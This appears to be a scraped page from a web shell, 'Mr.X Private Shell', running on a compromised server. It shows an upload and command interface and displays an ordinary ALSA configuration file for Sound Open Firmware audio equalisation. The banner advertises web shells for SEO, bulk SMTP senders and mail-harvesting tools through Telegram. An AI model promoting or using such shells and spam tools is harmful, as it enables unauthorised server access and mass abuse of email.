__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# Control audio processing in SOF

# File paths for controlling SOF processing

If.SOFIPCVer {
	Condition {
		Type ControlExists
		Control "name='Post Mixer Analog Playback IIR Eq bytes'"
	}
	True.Define {
	      SOFIPCVer "ipc4"
	      PostMixerAnalogPlaybackIIRBytes "Post Mixer Analog Playback IIR Eq bytes"
	      PostMixerAnalogPlaybackFIRBytes "Post Mixer Analog Playback FIR Eq bytes"
	      PostMixerAnalogPlaybackDRCBytes "Post Mixer Analog Playback DRC bytes"
	      PostMixerAnalogPlaybackDRCSwitch "Post Mixer Analog Playback DRC switch"
	}
	False.Define {
	      SOFIPCVer "ipc3"
	      PostMixerAnalogPlaybackIIRBytes "EQIIR1.0 eqiir_coef_1"
	      PostMixerAnalogPlaybackFIRBytes "EQFIR1.0 eqfir_coef_1"
	      PostMixerAnalogPlaybackDRCBytes "not available"
	      PostMixerAnalogPlaybackDRCSwitch "not available"
	}
}

If.SOFPath {
	Condition { Type AlwaysTrue }
	True.Define {
		BlobPath "${ConfTopDir}/blobs/sof/${var:SOFIPCVer}"
		SpeakerIirBlob "${var:BlobPath}/eq_iir/highpass_100hz_0db_48khz.blob"
		SpeakerFirBlob "${var:BlobPath}/eq_fir/pass.blob"
		SpeakerDrcBlob "${var:BlobPath}/drc/speaker_default.blob"
		HeadphoneIirBlob "${var:BlobPath}/eq_iir/pass.blob"
		HeadphoneFirBlob "${var:BlobPath}/eq_fir/pass.blob"
		HeadphoneDrcBlob "${var:BlobPath}/drc/passthrough.blob"
	}
}

Define.ConfPathFromDMI "${sys:devices/virtual/dmi/id/sys_vendor}/${sys:devices/virtual/dmi/id/product_name}.conf"
Define.SOFProductConfig "/blobs/sof/product_configs/${var:ConfPathFromDMI}"
Define.SOFConfFullPath "${ConfTopDir}${var:SOFProductConfig}"
Define.SOFUserConfig "/blobs/sof/user_configs/${var:ConfPathFromDMI}"
Define.SOFUserConfFullPath "${ConfTopDir}${var:SOFUserConfig}"

If.HasUserConfig {
	Condition {
		Type Path
		Mode read
		Path "${var:SOFUserConfFullPath}"
	}
	True {
		Include.product-config.File "${var:SOFUserConfig}"
	}
	False.If.HasProductConfig {
		Condition {
			Type Path
			Mode read
			Path "${var:SOFConfFullPath}"
		}
		True {
			Include.product-config.File "${var:SOFProductConfig}"
		}
	}
}

# Redefine headphone control FOR SOF. This is same as Headphone in HDA/HiFi-analog.conf
# but adds DRC and EQ controls.

DefineMacro.SofControl {
	Define.EndpointDrcVar "${var:__endpoint}DrcBlob"
	Define.EndpointIirVar "${var:__endpoint}IirBlob"
	Define.EndpointFirVar "${var:__endpoint}FirBlob"
	Define.EndpointDrcBlob "${var:$EndpointDrcVar}"
	Define.EndpointIirBlob "${var:$EndpointIirVar}"
	Define.EndpointFirBlob "${var:$EndpointFirVar}"

       If.endpoint_with_drc {
		Condition {
			Type ControlExists
			Control "name='${var:PostMixerAnalogPlaybackDRCSwitch}'"
		}
		True {
			EnableSequence [
				# For debug uncomment below the echo command to see what blobs are applied
				#shell "/bin/echo '${var:__endpoint} ${var:EndpointIirBlob} ${var:EndpointFirBlob} ${var:EndpointDrcBlob}' >> /tmp/alsa-ucm.txt"
				cset "name='${var:PostMixerAnalogPlaybackDRCSwitch}' ${var:__drcswitch}"
				cset-tlv "name='${var:PostMixerAnalogPlaybackDRCBytes}' ${var:EndpointDrcBlob}"
				cset-tlv "name='${var:PostMixerAnalogPlaybackIIRBytes}' ${var:EndpointIirBlob}"
				cset-tlv "name='${var:PostMixerAnalogPlaybackFIRBytes}' ${var:EndpointFirBlob}"
			]
		}
		False.If.endpoint_with_eq {
			Condition {
				Type ControlExists
				Control "name='${var:PostMixerAnalogPlaybackFIRBytes}'"
			}
			True {
				EnableSequence [
					# For debug uncomment below the echo command to see what blobs are applied
					#shell "/bin/echo '${var:__endpoint} ${var:EndpointIirBlob} ${var:EndpointFirBlob}' >> /tmp/alsa-ucm.txt"
					cset-tlv "name='${var:PostMixerAnalogPlaybackIIRBytes}' ${var:EndpointIirBlob}"
					cset-tlv "name='${var:PostMixerAnalogPlaybackFIRBytes}' ${var:EndpointFirBlob}"
				]
			}
		}
	}
}

# Merge this to Headpones subtree in HDA/HiFi-analog.conf
SectionDevice."Headphones" {
	Macro.headphone.SofControl "endpoint=Headphone drcswitch=off"
}

# Merge this to Speaker subtree in HDA/HiFi-analog.conf
If.spk {
	Condition {
		Type ControlExists
		Control "name='Speaker Playback Switch'"
	}
	True.SectionDevice."Speaker" {
		Macro.speaker.SofControl "endpoint=Speaker drcswitch=on"
	}
}

Filemanager

Name Type Size Permission Actions
Hdmi.conf File 414 B 0644
HiFi-sof.conf File 4.03 KB 0644
HiFi.conf File 1.07 KB 0644
sof-hda-dsp.conf File 2.93 KB 0644
Filemanager